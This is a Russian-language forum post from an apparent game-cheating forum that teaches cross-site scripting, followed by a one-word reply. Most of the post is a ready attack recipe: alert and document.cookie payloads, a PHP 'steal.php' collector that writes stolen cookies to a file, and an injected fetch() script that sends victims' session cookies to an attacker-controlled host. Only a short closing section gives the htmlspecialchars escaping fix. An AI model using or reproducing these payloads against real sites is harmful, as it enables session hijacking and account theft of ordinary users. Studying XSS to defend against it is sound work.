Добро пожаловать на BlackSAMP - ФОРУМ

  • Приватные и секретные разделы доступны только зарегистрированным пользователям.

    Вся важная информация в нашем ТГ: t.me/gtablack

    На данном форуме запрещено публиковать контент нарушающий Российское законодательство, за это последует блокировка ФА.

XSS уязвимость

DarkPhantom

Активный
Администратор
Регистрация
18 Авг 2024
Сообщения
91
Решения
2
Реакции
27
Баллы
28
Всем читателям привет .
Я бы хотел рассказать о XSS атаках .
Эта статья создана только в ознакомительных целях , автор не несёт ответственности за ваши действия.
Что это такое ? XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — довольно распространенная уязвимость, которую можно обнаружить на множестве веб-приложений. Ее суть довольно проста, злоумышленнику удается внедрить на страницу JavaScript-код, который не был предусмотрен разработчиками.
Если простым языком , то хакер в поле для запроса вводит js код .
Jd2qEdt.png
Для примера я сверстал простой сайт на php с полем для ввода текста .
IMG_20241027_191957.jpg
Этот сайт выводит текст, который мы ввели в это поле.
IMG_20241027_192132.jpg
Давайте попробуем применить уязвимость .
<script>alert(123)</script> .
Все работает :
IMG_20241027_104306.jpg
Теперь можем узнать id сессионной печеньки
<script>alert(document.cookie);</script>
Мы получим результат
Все что после PHPSESSID= и есть id куки
С помощью этого можно перехватывать и использовать куки других пользователей.
Для этого создадим на своем веб сайте файл steal.php(можно и другое название )
Впишем туда код
PHP:
<?php
$file = 'stolen_cookies.txt';
$cookie = $_GET['cookie'];
file_put_contents($file, $cookie . PHP_EOL, FILE_APPEND);
?>
Затем перейдем на сайт с уязвимостью и в поле для запроса впишем
Код:
<script>
fetch('https://yoursite/steal.php?cookie=' + document.cookie);
</script>
Туда запишутся куки пользователей .
Jd2qEdt.png

Как бороться с уязвимостью ?

Есть много способов , самый простой - экранирование символов .
PHP:
//строка до (с уязвимостью)
$query = $_GET['query'];
// Строка с без уязвимость
$query = htmlspecialchars($_GET['query'],ENT_QUOTES, 'UTF-8');
Так будет выводится весь текст , введённый в поле для ввода .

Надеюсь было интересно.
 

Вложения

  • IMG_20241027_104306.jpg
    IMG_20241027_104306.jpg
    6.1 KB · Просмотры: 0
  • Jd2qEdt.png
    Jd2qEdt.png
    764 байт · Просмотры: 0
Последнее редактирование:

Rivers

Администратор
Администратор
Команда Читеров
Команда Риверса
Регистрация
8 Авг 2024
Сообщения
202
Решения
2
Реакции
124
Баллы
28
Интересно!
 
Сверху Снизу